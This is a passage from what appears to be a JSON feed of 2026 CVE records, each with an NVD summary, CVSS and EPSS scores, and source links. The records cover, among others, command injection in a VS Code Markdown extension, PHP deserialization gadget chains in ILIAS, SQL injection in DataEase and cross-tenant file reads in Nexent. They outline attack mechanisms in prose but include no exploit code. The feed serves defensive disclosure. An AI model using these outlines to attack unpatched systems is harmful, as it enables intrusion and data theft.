asyncio.create_subprocess_shell with the privileges of the flyto-core server process. The endpoint is reachable locally under the default loopback binding and becomes network reachable when an operator binds the server to a non-loopback interface, allowing arbitrary OS command execution and potential full host compromise. This issue is fixed in version 2.26.4.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T19:17:17.777Z","updatedAt":"2026-10-16T20:04:29.760Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.4,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-55786","asOf":"2026-10-16T20:04:29.760Z"},"epss":{"probability":0.00256,"percentile":0.17035,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-55786&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-55786","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55786","type":"primary","publishedAt":"2026-10-14T19:17:17.777Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-55786&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-55786, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-54525","cveId":"CVE-2026-54525","aliases":[],"kind":"vulnerability","title":"Markdown Preview Enhanced is a Markdown preview extension for Visual Studio Code.","summary":"Markdown Preview Enhanced is a Markdown preview extension for Visual Studio Code. Prior to 0.8.28, Markdown Preview Enhanced preview-link handling passes a decoded, Markdown-controlled link target to a Windows file-opening helper that invokes child_process.exec with the start command. When a Windows user opens an untrusted Markdown file and clicks a crafted external or unsupported-scheme link, shell metacharacters in the decoded target are interpreted by cmd.exe as command separators, allowing an attacker-selected command to run with the privileges of the current VS Code user. The attack requires one normal preview-link click but does not require malicious workspace configuration, script execution to be enabled, or additional files. This issue is fixed in version 0.8.28.","detail":"Markdown Preview Enhanced is a Markdown preview extension for Visual Studio Code. Prior to 0.8.28, Markdown Preview Enhanced preview-link handling passes a decoded, Markdown-controlled link target to a Windows file-opening helper that invokes child_process.exec with the start command. When a Windows user opens an untrusted Markdown file and clicks a crafted external or unsupported-scheme link, shell metacharacters in the decoded target are interpreted by cmd.exe as command separators, allowing an attacker-selected command to run with the privileges of the current VS Code user. The attack requires one normal preview-link click but does not require malicious workspace configuration, script execution to be enabled, or additional files. This issue is fixed in version 0.8.28.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T19:17:17.480Z","updatedAt":"2026-10-16T16:00:33.533Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Visual Studio"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-54525","asOf":"2026-10-16T16:00:33.533Z"},"epss":{"probability":0.00429,"percentile":0.36837,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-54525&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-54525","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-54525","type":"primary","publishedAt":"2026-10-14T19:17:17.480Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-54525&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-54525, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-53999","cveId":"CVE-2026-53999","aliases":[],"kind":"vulnerability","title":"Radius is a cloud-native, portable application platform that makes app development easier for teams building cloud-native apps.","summary":"Radius is a cloud-native, portable application platform that makes app development easier for teams building cloud-native apps. Prior to 0.58.0, the Kubernetes controller deserializes the user-controlled radapp.io/status annotation on a Deployment and uses its container resource identifier for deletion without confirming ownership by that Deployment. An attacker with permission to modify Deployment annotations and knowledge of a target Radius resource ID can forge radapp.io/status and set radapp.io/enabled to false, causing reconciliation to enter the privileged deletion path for another tenant's Radius-managed container resource. In a multi-tenant installation this confused-deputy condition can delete another team's recoverable container resource and disrupt service; in a single-tenant installation the impact is limited to self denial of service. The multi-tenant Radius controller reads the annotations in pkg/controller/reconciler/annotations.go and reaches the privileged delete in pkg/controller/reconciler/deployment_reconciler.go. The issue does not disclose data, grant privileges, or provide persistence. This issue is fixed in version 0.58.0.","detail":"Radius is a cloud-native, portable application platform that makes app development easier for teams building cloud-native apps. Prior to 0.58.0, the Kubernetes controller deserializes the user-controlled radapp.io/status annotation on a Deployment and uses its container resource identifier for deletion without confirming ownership by that Deployment. An attacker with permission to modify Deployment annotations and knowledge of a target Radius resource ID can forge radapp.io/status and set radapp.io/enabled to false, causing reconciliation to enter the privileged deletion path for another tenant's Radius-managed container resource. In a multi-tenant installation this confused-deputy condition can delete another team's recoverable container resource and disrupt service; in a single-tenant installation the impact is limited to self denial of service. The multi-tenant Radius controller reads the annotations in pkg/controller/reconciler/annotations.go and reaches the privileged delete in pkg/controller/reconciler/deployment_reconciler.go. The issue does not disclose data, grant privileges, or provide persistence. This issue is fixed in version 0.58.0.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T19:17:17.340Z","updatedAt":"2026-10-16T20:04:29.760Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-53999","asOf":"2026-10-16T20:04:29.760Z"},"epss":{"probability":0.0034,"percentile":0.27286,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-53999&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-53999","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-53999","type":"primary","publishedAt":"2026-10-14T19:17:17.340Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-53999&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-53999, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110775","cveId":"CVE-2026-110775","aliases":[],"kind":"vulnerability","title":"Nexent through 2.7.0 contains a missing authorization vulnerability in check_file_access that allows authenticated users to read other tenants' knowledge-base files by skipping...","summary":"Nexent through 2.7.0 contains a missing authorization vulnerability in check_file_access that allows authenticated users to read other tenants' knowledge-base files by skipping tenant comparison for knowledge_base/ reads. Attackers in multi-tenant deployments can list objects via GET /file/storage for presigned URLs or use GET /file/download/{object_name} to download other tenants' source documents.","detail":"Nexent through 2.7.0 contains a missing authorization vulnerability in check_file_access that allows authenticated users to read other tenants' knowledge-base files by skipping tenant comparison for knowledge_base/ reads. Attackers in multi-tenant deployments can list objects via GET /file/storage for presigned URLs or use GET /file/download/{object_name} to download other tenants' source documents.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T19:17:13.790Z","updatedAt":"2026-10-16T18:17:33.283Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110775","asOf":"2026-10-16T18:17:33.283Z"},"epss":{"probability":0.00249,"percentile":0.1607,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110775&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110775","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110775","type":"primary","publishedAt":"2026-10-14T19:17:13.790Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110775&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110775, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110769","cveId":"CVE-2026-110769","aliases":[],"kind":"vulnerability","title":"holaOS through 2026.822.1 contains a missing authorization vulnerability in channel-gateway connectors that allows any messaging-platform user to submit agent tasks because the...","summary":"holaOS through 2026.822.1 contains a missing authorization vulnerability in channel-gateway connectors that allows any messaging-platform user to submit agent tasks because the #isAllowed check accepts all senders when the default allowFrom list is empty. Attackers who can message the operator's Telegram, Slack, Discord, or other bot can have ChannelIngress.handle pass turns to the workspace agent, running configured tools on the operator's machine.","detail":"holaOS through 2026.822.1 contains a missing authorization vulnerability in channel-gateway connectors that allows any messaging-platform user to submit agent tasks because the #isAllowed check accepts all senders when the default allowFrom list is empty. Attackers who can message the operator's Telegram, Slack, Discord, or other bot can have ChannelIngress.handle pass turns to the workspace agent, running configured tools on the operator's machine.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T19:17:12.940Z","updatedAt":"2026-10-15T15:17:28.743Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110769","asOf":"2026-10-15T15:17:28.743Z"},"epss":{"probability":0.00292,"percentile":0.21604,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110769&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110769","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110769","type":"primary","publishedAt":"2026-10-14T19:17:12.940Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110769&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110769, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110767","cveId":"CVE-2026-110767","aliases":[],"kind":"vulnerability","title":"Gitingest through 0.3.1 contains a symlink following vulnerability in ingest_query single-file blob ingestion that allows unauthenticated attackers to read server files by...","summary":"Gitingest through 0.3.1 contains a symlink following vulnerability in ingest_query single-file blob ingestion that allows unauthenticated attackers to read server files by submitting symlink blob URLs. Attackers can commit a symlink to a public repository and submit its blob URL, causing the server to return any file the service user can read, up to 10 MB.","detail":"Gitingest through 0.3.1 contains a symlink following vulnerability in ingest_query single-file blob ingestion that allows unauthenticated attackers to read server files by submitting symlink blob URLs. Attackers can commit a symlink to a public repository and submit its blob URL, causing the server to return any file the service user can read, up to 10 MB.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T19:17:12.610Z","updatedAt":"2026-10-15T19:17:23.563Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110767","asOf":"2026-10-15T19:17:23.563Z"},"epss":{"probability":0.00407,"percentile":0.34671,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110767&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110767","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110767","type":"primary","publishedAt":"2026-10-14T19:17:12.610Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110767&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110767, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110765","cveId":"CVE-2026-110765","aliases":[],"kind":"vulnerability","title":"FlexPrice through 2.1.38 contains an authentication bypass vulnerability in HandleQuickBooksWebhook that skips signature verification when the intuit-signature header is omitted.","summary":"FlexPrice through 2.1.38 contains an authentication bypass vulnerability in HandleQuickBooksWebhook that skips signature verification when the intuit-signature header is omitted. Unauthenticated attackers knowing a tenant and environment ID can replay forged payment notifications to repeatedly add payment amounts, marking invoices paid or overpaid.","detail":"FlexPrice through 2.1.38 contains an authentication bypass vulnerability in HandleQuickBooksWebhook that skips signature verification when the intuit-signature header is omitted. Unauthenticated attackers knowing a tenant and environment ID can replay forged payment notifications to repeatedly add payment amounts, marking invoices paid or overpaid.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T19:17:12.313Z","updatedAt":"2026-10-15T14:47:05.720Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110765","asOf":"2026-10-15T14:47:05.720Z"},"epss":{"probability":0.00225,"percentile":0.1309,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110765&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110765","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110765","type":"primary","publishedAt":"2026-10-14T19:17:12.313Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110765&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110765, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110761","cveId":"CVE-2026-110761","aliases":[],"kind":"vulnerability","title":"ILIAS before 9.24, 10.12, and 11.5 contains a PHP object injection vulnerability that allows authenticated users with Test creation or import permission to deserialize arbitrary...","summary":"ILIAS before 9.24, 10.12, and 11.5 contains a PHP object injection vulnerability that allows authenticated users with Test creation or import permission to deserialize arbitrary objects via crafted Test archives. Attackers can inject a malicious tst_sequence sequence attribute that is passed to unserialize(), abusing Guzzle or Monolog gadget chains to write PHP files and execute code.","detail":"ILIAS before 9.24, 10.12, and 11.5 contains a PHP object injection vulnerability that allows authenticated users with Test creation or import permission to deserialize arbitrary objects via crafted Test archives. Attackers can inject a malicious tst_sequence sequence attribute that is passed to unserialize(), abusing Guzzle or Monolog gadget chains to write PHP files and execute code.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T19:17:11.723Z","updatedAt":"2026-10-14T20:17:31.543Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110761","asOf":"2026-10-14T20:17:31.543Z"},"epss":{"probability":0.0057,"percentile":0.46938,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110761&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110761","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110761","type":"primary","publishedAt":"2026-10-14T19:17:11.723Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110761&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110761, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110667","cveId":"CVE-2026-110667","aliases":[],"kind":"vulnerability","title":"A security flaw has been discovered in cemtan sar2html 4.0.0. Affected by this vulnerability is an unknown functionality of the file sar2html.py.","summary":"A security flaw has been discovered in cemtan sar2html 4.0.0. Affected by this vulnerability is an unknown functionality of the file sar2html.py. The manipulation of the argument SECRET_KEY results in hard-coded credentials. The attack can be executed remotely. The project was informed of the problem early through an issue report but has not responded yet.","detail":"A security flaw has been discovered in cemtan sar2html 4.0.0. Affected by this vulnerability is an unknown functionality of the file sar2html.py. The manipulation of the argument SECRET_KEY results in hard-coded credentials. The attack can be executed remotely. The project was informed of the problem early through an issue report but has not responded yet.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T19:17:11.550Z","updatedAt":"2026-10-15T14:45:38.353Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.9,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110667","asOf":"2026-10-15T14:45:38.353Z"},"epss":{"probability":0.00307,"percentile":0.23305,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110667&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110667","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110667","type":"primary","publishedAt":"2026-10-14T19:17:11.550Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110667&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110667, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-104143","cveId":"CVE-2026-104143","aliases":[],"kind":"vulnerability","title":"DataEase is an open source data visualization and analysis tool.","summary":"DataEase is an open source data visualization and analysis tool. Prior to 2.10.26, authenticated users can store a crafted custom dateFormat for a dataset field. DatasetTableFieldDTO.dateFormat is inserted without validation into date conversion templates used by Dimension2SQLObj, CustomWhere2Str, Field2SQLObj, WhereTree2Str, and ExtWhere2Str. When a chart renders the field on a cross-datasource dataset, Calcite parsing is bypassed and the crafted format can directly alter the generated SQL. On a single-datasource dataset, exploitation additionally requires the payload to survive Calcite reserialization as a valid string literal. Successful exploitation can compromise the confidentiality, integrity, and availability of the backend database. This issue is fixed in version 2.10.26.","detail":"DataEase is an open source data visualization and analysis tool. Prior to 2.10.26, authenticated users can store a crafted custom dateFormat for a dataset field. DatasetTableFieldDTO.dateFormat is inserted without validation into date conversion templates used by Dimension2SQLObj, CustomWhere2Str, Field2SQLObj, WhereTree2Str, and ExtWhere2Str. When a chart renders the field on a cross-datasource dataset, Calcite parsing is bypassed and the crafted format can directly alter the generated SQL. On a single-datasource dataset, exploitation additionally requires the payload to survive Calcite reserialization as a valid string literal. Successful exploitation can compromise the confidentiality, integrity, and availability of the backend database. This issue is fixed in version 2.10.26.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T19:17:08.347Z","updatedAt":"2026-10-15T16:17:33.570Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-104143","asOf":"2026-10-15T16:17:33.570Z"},"epss":{"probability":0.00264,"percentile":0.1811,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-104143&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-104143","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-104143","type":"primary","publishedAt":"2026-10-14T19:17:08.347Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-104143&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-104143, scored 2026-10-25. This is 